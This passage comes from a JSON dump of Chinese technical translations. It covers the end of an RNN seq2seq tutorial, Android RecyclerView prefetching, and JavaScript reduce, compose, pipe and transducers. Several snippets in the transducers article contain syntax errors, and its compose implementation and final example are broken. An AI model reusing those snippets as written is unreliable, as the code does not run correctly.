这个事实作为屏蔽手段，我们便只需计算（一个批次中样本的）每一行损失之和即可，然后取所有样本损失的平均值，从而得到一个批次的损失。这时，我们就可以通过最小化这个损失函数来进行训练了。\n\n以下是训练结果：\n\n![Screen Shot 2016-11-19 at 4.56.18 PM.png](https://theneuralperspective.files.wordpress.com/2016/11/screen-shot-2016-11-19-at-4-56-18-pm.png?w=620)\n\n我们不会在这里做任何的模型推断，但是你可以在接下来的关于注意力机制的文章中看到。如果你真的想在这里实现模型推断，使用相同的模型就可以了，但你还得将预测目标的结果作为输入接入下一个 RNN 解码器单元。同时你还要将相同的权重集嵌入解码器中，并将其作为 RNN 的另一个输入。这意味着对于初始的 GO token 而言，你得嵌入一些伪造的 token 进行输入。\n\n## 结论\n\n这个编码解码器模型非常简单，但是在理解 seq2seq 实现之前，它是一个必要的基础。在下一篇 RNN 教程中，我们将涵盖 Attention 模型及其在编码解码器模型结构上的优势。\n\n## **代码**\n\n**[GitHub 仓库](https://github.com/ajarai/the-neural-perspective/tree/master/recurrent-neural-networks/char_rnn) （正在更新，敬请期待！）**\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/recyclerview-prefetch.md",
    "content": "> * 原文地址：[RecyclerView Prefetch](https://medium.com/google-developers/recyclerview-prefetch-c2f269075710#.b1or0k6l3)\n* 原文作者：[Chet Haase](https://medium.com/@chethaase)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[tanglie1993](https://github.com/tanglie1993)\n* 校对者：[skyar2009](https://github.com/skyar2009), [Zhiw](https://github.com/Zhiw)\n\n\n# RecyclerView 数据预取\n\n## 更快处理任务，使滚动和滑动更流畅\n\n在我小时候，妈妈为了治疗我的拖延症，总是告诉我：“如果你现在打扫你的房间，就不用以后再打扫了。”但我从没这样做。我知道最好能拖延就尽量拖延。一个原因是：如果我现在打扫了，房间还会变脏，那时候我就必须再打扫一遍了。另外，如果我把这件事放下足够久，妈妈可能会忘了它的。\n\n拖延对我来说总是有效。但我永远不用处理保持帧率的问题，不像我的朋友 RecyclerView 一样。\n\n### 问题\n\n在一次滚动或惯性滑动中，RecyclerView 需要在新条目抵达屏幕时予以展示。这些新条目需要与数据相绑定（如果缓存中没有相应条目的话，还需要创建一个）。接下来，它们还需要被展开并画出来。如果所有这些都是被懒加载的，在需要展示之前才做，UI 线程就会在工作完成时陷入停顿。接下来渲染可以继续并且滚动（或者说滑动，但我打算用滚动来指代它们，以简化讨论）可以平滑地继续，直到下一个条目进入视野范围。 \n\n![](https://cdn-images-1.medium.com/max/1200/1*X9E34oKRhAJbG-uSrhv-TA.png)\n\n一次典型的 RecyclerView 内容滚动中的各个渲染阶段（在 [Lollipop](https://developer.android.com/about/versions/lollipop.html) 版本时的情况）。在UI线程，我们处理输入事件和动画，完成布局，并且记录绘图操作。接下来渲染线程把指令送往GPU。\n在一次滚动的大多数帧中，RecyclerView 可以没问题地完成它需要做的事，因为不需要处理新的内容。在这些帧中，UI 线程处理输入事件和动画，完成布局，记录绘图操作。接下来它把绘图信息与渲染线程同步（在 Lollipop 版本时的情况，之前的版本在 UI 线程完成所有工作），渲染线程把指令送往 GPU。\n\n![](https://cdn-images-1.medium.com/max/1200/1*DIr64fruHL5lp72Ji-b7rw.png)\n\n新条目使得输入阶段耗时更长，因为新的 view 需要被创建、绑定并布局。这推迟了渲染阶段的开始，从而导致它可能在帧的边界之后结束。在此情况下，就会发生掉帧。当一个新的条目来到屏幕中时，输入阶段就需要完成更多工作，以绑定（可能还要创建）正确的 view。这推迟了 UI 线程其余的工作，以及渲染线程接下来的工作。如果这些不能在帧边界内完成的话，就会发生卡顿。 \n\n![](https://cdn-images-1.medium.com/max/1200/1*R0vg4lvbNilR1xB5Qrawmw.png)\n\n输入阶段的调用栈表明：新的条目进入视野范围会导致一大块时间被用于创建和绑定新的 view。\n如果我们可以在其它地方完成这些工作，而不推迟所有其它事情，不就很好吗？\n![](https://cdn-images-1.medium.com/max/1200/1*2XWNdvsSwW8-L_DQwYxLxw.png)\n\n在 view 可以被渲染之前，创建和绑定必须完成。这会在相应的帧中消耗 UI 线程的宝贵时间。然而，UI 线程在前一帧中有大量时间无所事事。\n  [Chris Craik](http://androidbackstage.blogspot.com/2015/07/this-time-tor-and-chet-are-joined-by.html)（Android UI Toolkit 组的工程师）在用 [Systraces](https://developer.android.com/studio/profile/systrace.html) 查看 RecyclerView 滚动时发现了这一点。他特别注意到，我们在需要使用一个条目时，会花费大量时间准备它。而在一帧之前，UI 线程花了大量时间休眠，因为它很早就完成了任务。\n\n### 解决方案\n\n![](https://cdn-images-1.medium.com/max/1200/1*_qCP_uaM8nMSlgqU6L1CxA.png)\n\n将创建和绑定工作移到前一帧，使 UI 线程能够与渲染线程同时工作，从而避免接下来在渲染线程绘制结果之前同步完成这些工作。\n显然，这是优化耗时的好时机。Chris 重新安排了默认 RecyclerView 布局时事件发生的顺序，它现在在一个条目即将进入视野时预取数据，这样我们可以在空闲期完成工作，避免拖到大家都在等待结果时才完成。\n完成这些工作基本上没有任何代价，因为 UI 线程在两帧之间的空隙不做任何工作。我们可以使用这些空闲时间来完成将来的工作，并使得未来的帧出现得更快，因为困难的部分已经被完成了。\n\n### 细节，细节\n\n这个系统的工作方式是，在 RecyclerView 开始一个滚动时安排一个 Runnable。这个 Runnable 负责根据 layout manager 和滚动的方向预取即将进入视野的条目。预取不限于一个单独的条目。它可以同时取出多个条目，例如在使用 GridLayoutManager 且新的一行马上要出现的时候。在 25.1 版本中，预取操作被分为单独的创建/绑定操作，从而比对整组条目做操作更容易被纳入 UI 线程的空隙中。\n\n有趣的是，系统必须预测操作需要多少时间，以及它们是否可以被放入空隙中。毕竟，如果预取把当前帧推迟到截止时间之后，我们仍然会因掉帧而感觉到卡顿，只是和不预取时原因不同而已。系统处理这些细节的方式是追踪每种 view 类型的平均创建/绑定时间，从而使未来创建/绑定时间的合理预测成为可能。\n\n对嵌套 RecyclerView（每一个条目自身都是 RecyclerView 的容器）完成这些工作更加复杂，因为绑定内部 RecyclerView 并不涉及任何子控件的分配——RecyclerView 在被绑定和布局时按需取得子控件。预取系统仍然可以预先准备内层的 RecyclerView 内部的子控件，但它必须知道有多少。这就是 25.1 版本中 LinearLayoutManager 新 API [setInitialItemPrefetchCount()](https://developer.android.com/reference/android/support/v7/widget/LinearLayoutManager.html#setInitialPrefetchItemCount%28int%29)的意义。它告诉系统，在滚动时需要预取多少条目来充满 RecyclerView。\n\n### 警告\n\n你需要注意这些危险：\n\n-预取数据可能做一些最终不被需要的工作。因为我们在预取 view 时，有可能会采取太激进的策略，这样 RecyclerView 就可能不会滚动到我们预取的条目。这意味着我们的预取工作可能会被浪费（虽然这些工作是被并行完成的，应该不会浪费太多时间。另外，浪费是不太可能发生的，因为我们在需要数据之前不久才去预取，而且滚动不太可能在两帧之间停止或反转）。\n-渲染线程：渲染线程是 Lollipop 版本引入的性能特性，它可以让一个不同的线程分担渲染工作，并且支持其他的一些改进，例如把不可变的动画（如涟漪、环形展现等）完全放在渲染线程，使其不受 UI 线程停顿的影响。这意味着运行 Lollipop 之前的版本的设备将不会受益于这个优化，因为我们无法并行完成这些工作。\n\n### 我要一些 —— 去哪儿拿？\n\n预取优化是在 [Support Library v25](https://developer.android.com/topic/libraries/support-library/revisions.html#rev25-0-0)中引入，在 [v25.1.0](https://developer.android.com/topic/libraries/support-library/revisions.html#25-1-0)中改进的。所以第一步是下载 [最新版本](https://developer.android.com/topic/libraries/support-library/revisions.html)的支持库。\n\n如果你使用 RecyclerView 提供的默认 layout manager，你将自动获得这种优化。然而，如果你使用嵌套 RecyclerView 或者自己写 layout manager，你需要改变你的代码来利用这个特性。\n\n对于嵌套 RecyclerView 而言，要获取最佳的性能，在内部的 LayoutManager 中调用 LinearLayoutManager 的 [setInitialItemPrefetchCount()](https://developer.android.com/reference/android/support/v7/widget/LinearLayoutManager.html#setInitialPrefetchItemCount%28int%29)方法（25.1版本起可用）。例如，如果你竖直方向的list至少展示三个条目，调用 setInitialItemPrefetchCount(4)。\n\n如果你实现了自己的 LayoutManager，你需要重写 [LayoutManager.collectAdjacentPrefetchPositions()](https://developer.android.com/reference/android/support/v7/widget/RecyclerView.LayoutManager.html#collectAdjacentPrefetchPositions%28int,%20int,%20android.support.v7.widget.RecyclerView.State,%20android.support.v7.widget.RecyclerView.LayoutManager.LayoutPrefetchRegistry%29)方法。该方法在数据预取开启时被 RecyclerView 调用（LayoutManager 的默认实现什么都不做）。第二，在嵌套的内层 RecyclerView 中，如果你想让你的 LayoutManager 预取数据，你同样应当实现 [LayoutManager.collectInitialPrefetchPositions()](https://developer.android.com/reference/android/support/v7/widget/RecyclerView.LayoutManager.html#collectInitialPrefetchPositions%28int,%20android.support.v7.widget.RecyclerView.LayoutManager.LayoutPrefetchRegistry%29)。\n\n和以前一样，优化你的创建和绑定步骤，做尽可能少的工作，是值得的。运行的最快的代码是根本不需要运行的代码；即使框架可以通过数据预取并行工作，它仍然消耗时间，而且耗时较长的条目创建仍然可以导致卡顿。例如，一棵最小的 view 树总比一棵复杂的更容易创建和绑定。本质上，绑定应该和调用 setter 一样方便，一样快。即使你用目前的代码就可以在一帧的时间限制中完成工作，进一步优化意味着它将更可能在低端的用户机型上运行良好。此外，在高端设备上为这些常用场景节约性能，总是对电池有益的。如果你已经尽可能缩短了创建和绑定的时间，预取将会帮助你缩短两帧之间的剩余时间。\n\n如果你想要见到实际的优化，在默认或自定义的 LayoutManager 中，你可以切换 [LayoutManager.setItemPrefetchEnabled()](https://developer.android.com/reference/android/support/v7/widget/RecyclerView.LayoutManager.html#setItemPrefetchEnabled%28boolean%29)并比较结果。你应该能够从视觉上直观地看到差异；它确实如此显著，特别是在条目需要大量时间创建和绑定的情况下。但如果你想知道在表面下发生过什么，在预取打开和关闭时运行[Systrace](https://developer.android.com/studio/profile/systrace.html), 或者打开 [GPU profiling](https://developer.android.com/studio/profile/dev-options-rendering.html)。\n\n![](https://cdn-images-1.medium.com/max/1600/1*gmuFD82uYJmGVVEPFxs6ag.png)\n\nSystrace 显示数据预取在UI线程空闲时预取数据。\n### GOTO 结尾\n\n查看 [最新的 Support Library](https://developer.android.com/topic/libraries/support-library/revisions.html)并和能预取数据的 RecyclerView 一起玩耍。同时，我将继续不清理我的房间。\n"
  },
  {
    "path": "TODO/reduce-composing-software.md",
    "content": "> * 原文地址：[Reduce (Composing Software)(part 5)](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d)\n> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi)\n> * 校对者：[avocadowang](https://github.com/avocadowang) [Aladdin-ADD](https://github.com/Aladdin-ADD)\n\n# [第五篇] Reduce（软件编写）\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg\">\n\nSmoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0) （译注：该图是用 PS 将烟雾处理成方块状后得到的效果，参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。））\n\n> 注意：这是 “软件编写” 系列文章的第五部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability)）。后续还有更多精彩内容，敬请期待！\n> > [<上一篇](https://github.com/xitu/gold-miner/blob/master/TODO/higher-order-functions-composing-software.md) | [<< 返回第一篇](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md)\n\n在函数式编程中，**reduce**（也称为：fold，accumulate）允许你在一个序列上迭代，并应用一个函数来处理预先声明的累积值和当前迭代到的元素。当迭代完成时，将返回这个累积值。许多其他有用的功能都可以通过 reduce 实现。多数时候，reduce 可以说是处理集合（collection）最优雅的方式。\n\nreduce 接受一个 reducer 函数以及一个初始值，最终返回一个累积值。对于 `Array.prototype.reduce()` 来说， 初始列表将由 `this` 指明， 所以列表本身不会作为该函数的参数：\n\n```\narray.reduce(\n  reducer: (accumulator: Any, current: Any) => Any,\n  initialValue: Any\n) => accumulator: Any\n```\n\n我们利用如下方式对一个数组进行求和:\n\n```\n[2, 4, 6].reduce((acc, n) => acc + n, 0); // 12\n```\n\n对于数组的每步迭代，reducer 函数都会被调用，并且向其传入了累积值和当前迭代到的数组元素。reducer 的职责在于以某种方式将当前迭代的元素 “合拢（fold）” 到累加值中。reducer 规定了 “合拢” 的手段和方式，完成了对当前元素的 “合拢” 后，reducer 将返回新的累加值，然后， `.reduce()` 将开始处理数组中的下一个元素。reducer 需要一个初始值才能开始工作，所以绝大多数的 `.reduce()` 实现都需要接收一个初始值作为参数。\n\n在数组元素求和一例中，reducer 函数第一次调用时，`acc` 将会以 `0` 值（该值是传入 `.reduce()` 方法的第二个参数）开始。然后，reducer 返回了 `0` + `2`（`2` 是数组的第一个元素）， 也就是返回了 `2` 作为新的累积值。下一步，`acc = 2, n = 4` 传入了 reducer，reducer返回了 `2 + 4`（`6`）。在最后一步迭代中，`acc = 6, n = 6`, reducer 返回了 `12`。迭代完成，`.reduce（）` 返回了最终的累积值 `12`。\n\n在这一例子中，我们传入了一个匿名函数作为 reducer，但是我们也可以抽象出每次求和的过程为一个具名函数，这使得我们代码的复用程度更高：\n\n```\nconst summingReducer = (acc, n) => acc + n;\n[2, 4, 6].reduce(summingReducer, 0); // 12\n```\n\n通常，`reduce` 的工作过程为由左向右。在 JavaScript 中，我们也有一个 `[].reduceRight()` （译注：[MDN -- Array.prototype.reduceRight()](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/ReduceRight)）方法来让 reduce 由右向左地工作。 具体说来，如果你对数组 `[2, 4, 6]` 应用 `.reduceRight()` ，第一个被迭代到的元素就将是 `6`，最后一个迭代到的元素就是 `2`。\n\n### 无所不能的 reduce ###\n\n别吃惊，reduce 确实无所不能，你所熟悉的 `map()`，`filter()`，`forEach()` 以及其他函数都可借助于 reduce 来创建。\n\n**Map:**\n\n```\nconst map = (fn, arr) => arr.reduce((acc, item, index, arr) => {\n  return acc.concat(fn(item, index, arr));\n}, []);\n```\n\n对于 map 来说，我们的累积值就是一个新的数组对象，该数组对象中的每个元素都由原数组对应元素映射得到。累积数组中新的元素由传入 map 的映射函数（`fn`）所确定：对于当前迭代到的元素 `item`，我们通过 `fn` 计算出新的元素，并将其拼接入累加数组 `acc` 中。\n\n**Filter:**\n\n```\nconst filter = (fn, arr) => arr.reduce((newArr, item) => {\n  return fn(item) ? newArr.concat([item]) : newArr;\n}, []);\n```\n\nfilter 的工作方式与 map 类似，只不过原数组的元素只有通过一个真值检测函数（predicate function）才能被送入新的累积数组中。亦即，相较于 map，filter 是**有条件**地选择元素到累积数组中，并且不会改变元素的值。\n\n上面几个例子，你处理的数据都是一些数值序列，你在数值序列上应用指定的函数迭代数据，并将结果合拢到累积值中。大多数应用都因此开始雏形初备，但是你想过这个问题：**假如你的序列是函数序列呢？**\n\n**Compose:**\n\nreduce 也是实现函数组合的便捷渠道。假如你想用将函数 `g` 的输出作为函数 `f` 的输入，即组合这两个函数： `f . g`，那么你可以使用下面的 JavaScript 代码片，它没有任何的抽象：\n\n```\nf(g(x))\n```\n\nreduce 让我们能抽象出函数组合过程，从而让你也能轻易地实现更多层次的函数组合：\n\n```\nf(g(h(x)))\n```\n\n为了使函数组合是由右向左的，我们就要使用上面提到的 `.reduceRight()` 方法来抽象函数组合过程：\n\n```\nconst compose = (...fns) => x => fns.reduceRight((v, f) => f(v), x);\n```\n\n> 注意：如果 JavaScript 的版本没有提供 `[].reduceRight()`，你可以借助于 `reduce` 实现该方法。该实现留给读者自己思考。\n\n**Pipe:**\n\n`compose()` 很好地描述了由内至外的组合过程，某种程度上，这是数学上的关于输入输出的组合。如果你想从事件发生顺序上来思考函数组合呢？\n\n假设我们想要对一个数值加 `1`，然后对新得到的数值进行翻倍。如果是利用 `compose()`，就需要这么做：\n\n```\nconst add1 = n => n + 1;\nconst double = n => n * 2;\n\nconst add1ThenDouble = compose(\n  double,\n  add1\n);\n\nadd1ThenDouble(2); // 6\n// ((2 + 1 = 3) * 2 = 6)\n```\n\n发现问题没有？第一步（加1操作）是 compose 序列上的最后一个元素，所以，`compose` 需要你自底向上地分析流程的执行。\n\n我们使用 reduce 由左向右的常用特性取代由右向左的组合方式，以示区别，我们用 `pipe` 来描述新的组合方式：\n\n```\nconst pipe = (...fns) => x => fns.reduce((v, f) => f(v), x);\n```\n\n现在，新的流程就可以这么撰写：\n\n```\nconst add1ThenDouble = pipe(\n  add1,\n  double\n);\n\nadd1ThenDouble(2); // 6\n// ((2 + 1 = 3) * 2 = 6)\n```\n\n如你所见，在组合中，顺序是非常重要的，如果你调换了 `double` 和 `add1` 的顺序，你将得到截然不同的结果：\n\n```\nconst doubleThenAdd1 = pipe(\n  double,\n  add1\n);\n\ndoubleThenAdd1(2); // 5\n```\n\n之后，我们还会讨论跟多的关于 `compose()` 和 `pipe()` 的细节。现在，你所要知道的只是，`reduce()` 是一个极为强大的工具，因此一定要掌握它。 如果在学习过程中遇到了挫折，也大可不必灰心，很多开发者都花了大量时间才能掌握 reduce。\n\n### Redux 中的 reduce ###\n\n你可能听说过 “reducer” 这个术语被用于描述 [Redux](https://github.com/reactjs/redux) 的状态更新。这篇文章撰写之时，对于使用了 React 或者 Angular 进行构建的 web 应用来说，Redux 是最流行的状态管理库/架构（Angualar 中的类 Redux 管理是 ngrx/store ）。\n\nRedux 使用了 reducer 函数来管理应用状态。一个 Redux 风格的 reducer 接收一个当前应用状态 `state` 和 和交互对象 `action` 作为参数（译注：当前状态就相当于累积值，而 action 就相当于目前处理的元素），处理完成后，返回一个新的应用状态：\n\n```\nreducer(state: Any, action: { type: String, payload: Any}) => newState: Any\n```\n\nRedux 的一些 reducer 规则需要你牢记在心：\n\n1. 一个 reducer 如果进行了无参调用，它要返回它的初始状态。\n2. 如果 reducer 操纵的 action 没有声明类型，他要返回当前状态。\n3. 最最重要的是，Redux reducer 必须是纯函数。\n\n现在，我们以 Redux 风格重写上面的求和 reducer，该 reducer 的行为将由 action 类型决定：\n\n```\nconst ADD_VALUE = 'ADD_VALUE';\n\nconst summingReducer = (state = 0, action = {}) => {\n  const { type, payload } = action;\n\n  switch (type) {\n    case ADD_VALUE:\n      return state + payload.value;\n    default: return state;\n  }\n};\n```\n\n关于 Redux 的一个非常美妙的事儿就是，其 reducer 都是标准的 reducer （译注：即接收 `accumulator` 和 `current` 两个参数的 reducer ），这意味着你将 Redux 中的 reducer 插入到任何现有的 `reduce()` 实现中去，比如最常用的 `[].reduce()`。以此为例，我们可以创建一个 action 对象的数组，并对其进行 reduce 操作，传入 `reduce()` 的将是我们定义好的 `summingReducer`，据此，我们获得一个状态快照。之后，一旦对 Redux 中的状态树（store）分派了同样的 action 序列，那么一定能俘获到相同的状态快照：\n\n```\nconst actions = [\n  { type: 'ADD_VALUE', payload: { value: 1 } },\n  { type: 'ADD_VALUE', payload: { value: 1 } },\n  { type: 'ADD_VALUE', payload: { value: 1 } },\n];\n\nactions.reduce(summingReducer, 0); // 3\n```\n\n这使得对 Redux 风格的 reducer 的单元测试变得极为容易。\n\n### 总结 ###\n\n现在，你应该可以瞥见 reduce 的强大甚至是无所不能了。虽然，理解 reduce 要比理解 map 或者 filter 难一些，还是函数式编程中重要的工具，这个工具强大在它是一个基础工具，能够通过它构建出更多更强大的工具。\n\n[**下一篇: Functors 与 Categories  >**](https://github.com/xitu/gold-miner/blob/master/TODO/functors-categories.md)\n\n\n### 接下来 ###\n\n想学习更多 JavaScript 函数式编程吗？\n\n[跟着 Eric Elliott 学 Javacript](http://ericelliottjs.com/product/lifetime-access-pass/)，机不可失时不再来！\n\n[<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg\">](https://ericelliottjs.com/product/lifetime-access-pass/)\n\n**Eric Elliott** 是  [**“编写 JavaScript 应用”**](http://pjabook.com) （O’Reilly） 以及 [**“跟着 Eric Elliott 学 Javascript”**](http://ericelliottjs.com/product/lifetime-access-pass/) 两书的作者。他为许多公司和组织作过贡献，例如 **Adobe Systems**、**Zumba Fitness**、**The Wall Street Journal**、**ESPN** 和 **BBC** 等 , 也是很多机构的顶级艺术家，包括但不限于 **Usher**、**Frank Ocean** 以及 **Metallica**。\n\n大多数时间，他都在 San Francisco Bay Area，同这世上最美丽的女子在一起。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/reducers-vs-transducers.md",
    "content": "> * 原文地址：[Reducers VS Transducers](http://maksimivanov.com/posts/reducers-vs-transducers)\n> * 原文作者：[Maksim Ivanov](http://maksimivanov.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/reducers-vs-transducers.md](https://github.com/xitu/gold-miner/blob/master/TODO/reducers-vs-transducers.md)\n> * 译者：[jonjia](https://github.com/jonjia)\n> * 校对者：[allenlongbaobao](https://github.com/allenlongbaobao) [leviding](https://github.com/leviding)\n\n# Reducers VS Transducers\n\n今天我们为您准备了一份函数范式甜点。我也不知道为什么会用「VS」，而且它俩还互相恭维。不管那么多了，让我们看点好东西......\n\n## Reducers\n\n简单来说，`Reducer` 就是个接收上一个计算值和一个当前值并返回新的计算值的方法。\n\n![reducers](http://d33wubrfki0l68.cloudfront.net/8da7177f710424f3236cb13803ce8442e4b93127/5e09a/assets/images/reducers_vs_transducers_1.png)\n\n如果你使用过数组的 `Array.prototype.reduce()` 方法，就已经熟悉了 reducer。数组的 `.reduce()` 方法本身并不是一个 reducer，这个方法会遍历一个集合（译注：累加器初始值和数组中的元素组成的集合），然后对集合中的每个元素应用传给这个方法的回调函数，这个回调函数才是一个 **reducer**。\n\n假设我们有一个包含五个数字的数组：`[1, 2, 3, 14, 21]`，我们要找出它们中的最大值。\n\n```\nconst numbers = [1, 2, 3, 14, 21];\n\nconst biggestNumber = numbers.reduce(\n  (accumulator, value) => Math.max(accumulator, value)\n);\n\n// 21\n```\n\n这里的箭头函数就是一个 reducer。数组的 `.reduce()` 方法只是取这个 reducer 上一次执行的结果（译注：初始值参数或数组第一个元素）和数组中的下一个元素传给并继续调用这个 reducer。\n\nReducers 可以处理任何类型的值。唯一条件就是计算方法返回的值类型和传给计算方法的值类型要保持一致。\n\n在下面的例子中，你可以轻松创建一个作用于字符串的 reducer：\n\n```\nconst folders = ['usr', 'var', 'bin'];\n\nconst path = folders.reduce(\n  (accumulator, value) => `${accumulator}/${value}`\n, ''); // Here I passed empty string as an initial value\n\n// /usr/var/bin\n```\n\n实际上，不使用 `Array.reduce()` 方法来说明更好理解。如下：\n\n```\nconst stringReducer = (accumulator, value) => `${accumulator} ${value}`\n\nconst helloWorld = stringReducer(\"Hello\", \"world!\")\n\n// Hello world!\n```\n\n## Map 和 Filter 方法作为 Reducers\n\nReducers 还有一个好处是你可以链式地连接它们，来实现对某些数据的一系列操作。这就为功能模块化和 reducer 的复用提供了巨大的可能。\n\n假设有一个有序的数字数组。你想获取其中的偶数，然后再乘以 2。\n\n实现上述功能通常的方法是调用数组的 `.map` 和 `.filter` 方法：\n\n```\n[1, 2, 3, 4, 5, 6]\n  .filter((x) => x % 2 === 0)\n  .map((x) => x * 2)\n```\n\n但如果这个数组有 1000000 个元素呢？你需要遍历整个数组的每个元素，这样的效率太低了。\n\n我们需要用某种方式去组合传给 `map` 和 `filter` 方法的函数。因为它们的接口不同，所以我们无法实现。传给 `filter` 方法的函数称为**断言函数**，它接收一个值，依据内部逻辑返回断言的 **True** 或者 **False**。传给 `map` 方法的函数称为**转换函数**，它接收一个值，并返回**转换后的值**。\n\n我们可以通过 reducers 来实现这一点，让我们创建自己的 **reducer** 版本的 `.map` 和 `.filter` 方法。\n\n```\nconst filter = (predicate) => {\n  return (accumulator, value) => {\n    if(predicate(value)){\n      accumulator.push(value);\n    }\n    return accumulator;\n  }\n}\n\nconst map = (transformer) => {\n  return (accumulator, value) => {\n    accumulator.push(transformer(value));\n    return accumulator;\n  }\n}\n```\n\n真棒，我们使用了 **装饰器** 来包装我们的 reducers。现在我们有自己的 `map` 和 `filter` 方法，它们返回的 **reducers** 可以传递给数组的 `Array.reduce()` 方法。\n\n```\n[1, 2, 3, 4, 5, 6]\n  .reduce(filter((x) => x % 2 === 0), [])\n  .reduce(map((x) => x * 2), [])\n```\n\n太棒了，现在我们就能链式地调用一系列的 `.reduce` 方法，但我们还是没有组合我们的 reducers！好消息是我们只差一步了。为了能组合 reducers 我们需要让它们能互相传递。\n\n## Transducers， 可以有吗？\n\n来升级下我们的 `filter` 方法，让它能够接收 **reducers** 作为参数。我们要分解下它，不是将值添加到 **accumulator**，而是要传给传入的 reducer，并执行这个 reducer。\n\n```\nconst filter = (predicate) => (reducer) => {\n  return (accumulator, value) => {\n    if(predicate(value)){\n      return reducer(accumulator, value);\n    }\n    return accumulator;\n  }\n}\n```\n\n我们接收一个 **reducer** 作为参数，并返回另一个 **reducer** 的这种模式就叫做 **transducer**。它是 **transformer** 和 **reducer** 的结合（我们接收一个 reducer，并对它进行了转换）。\n\n```\nconst transducer => (reducer) => {\n  return (accumulator, value) => {\n    // 转换 reducer 的逻辑\n  }\n}\n```\n\n所以最基础的 transducer 就像 `(oneReducer) => anotherReducer` 这样。\n\n现在我们就可以组合使用我们的 **mapping** reducer 和 **filtering** transducer，一次调用就可以实现我们的计算了。\n\n```\nconst evenPredicate = (x) => x % 2 === 0;\nconst doubleTransformer = (x) = x * 2;\n\nconst filterEven = filter(evenPredicate);\nconst mapDouble = map(doubleTransformer);\n\n[1, 2, 3, 4, 5, 6]\n  .reduce(filterEven(mapDouble), []);\n```\n\n实际上，我们也可以把我们的 map 方法改造为一个 transducer，然后无限地继续这种改造。\n\n但如果要组合 2 个以上的 reducers 呢？我们要找到更简便的组合方法。\n\n## 更好的组合方法\n\n总体来说就是，我们需要一个能接收一定数量的函数并把它们按顺序组合的方法。类似下面这样：\n\n```\ncompose(fn1, fn2, fn3)(x) => fn1(fn2(fn3(x)))\n```\n\n幸运的是，很多库都提供了这种功能。比如 [RamdaJS](http://ramdajs.com/docs/#compose) 这个库。但为了解释清楚，来创建我们自己的版本吧。\n\n```\nconst compose = (...functions) =>\n  functions.reduce((accumulation, fn) =>\n    (...args) => accumulation(fn(args)), x => x)\n```\n\n这个函数的功能非常紧凑，我们来分解下。\n\n如果我们像这样 `compose(fn1, fn2, fn3)(x)` 调用了这个函数。\n\n首先看 `x => x` 部分。在 λ 演算中，这被称为 **恒等函数**。不管接收什么参数，它都不会改变。我们就从这里展开。\n\n所以在第一次遍历中，我们将使用 **fn1** 函数作为参数来调用 **identity function** 函数（为了方便，我们称之为 **I**）：\n\n```\n  // 恒等函数：I\n  (...args) => accumulation(fn(args))\n\n  // 第一步\n  // 我们把 fn1 传给 accumulation 方法\n  (...args) => accumulation(fn1(args))\n\n  // 第二步\n  // 这里我们用 I 接收 fn1 作为参数替代 accumulation\n  (...args) => I(fn1(args))\n```\n\n耶，我们计算出了第一次遍历后新的 `accumulation` 方法。我们再来一次：\n\n```\n  (...args) => I(fn1(args)) // 新的 accumulation 方法\n\n  // 第三步\n  // 现在我们把 fn2 传给 accumulation 方法\n  (...args) => accumulation(fn2(args))\n\n  // 第四步\n  // 我们来算出 accumulation 的当前值\n  (...args) => I(fn1(fn2(args)))\n```\n\n我认为你应该理解了。现在只需要对 `fn3` 重复第三步和第四步，就可以把 `compose(fn1, fn2, fn3)(x)` 转为 `fn1(fn2(fn3(x)))` 了。\n\n最后我们就可以像下面这样组合我们的 `map` 和 `filter` 了：\n\n```\n[1, 2, 3, 4, 5, 6]\n  .reduce(compose(filterEven,\n          mapDouble));\n```\n\n## 总结\n\n我想你已经掌握了 **reducers**，如果还没有 — 你也已经学会了处理集合的抽象方法。Reducers 可以处理不同的数据结构。\n\n你也学会了如何用 **transducers** 有效地进行计算。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 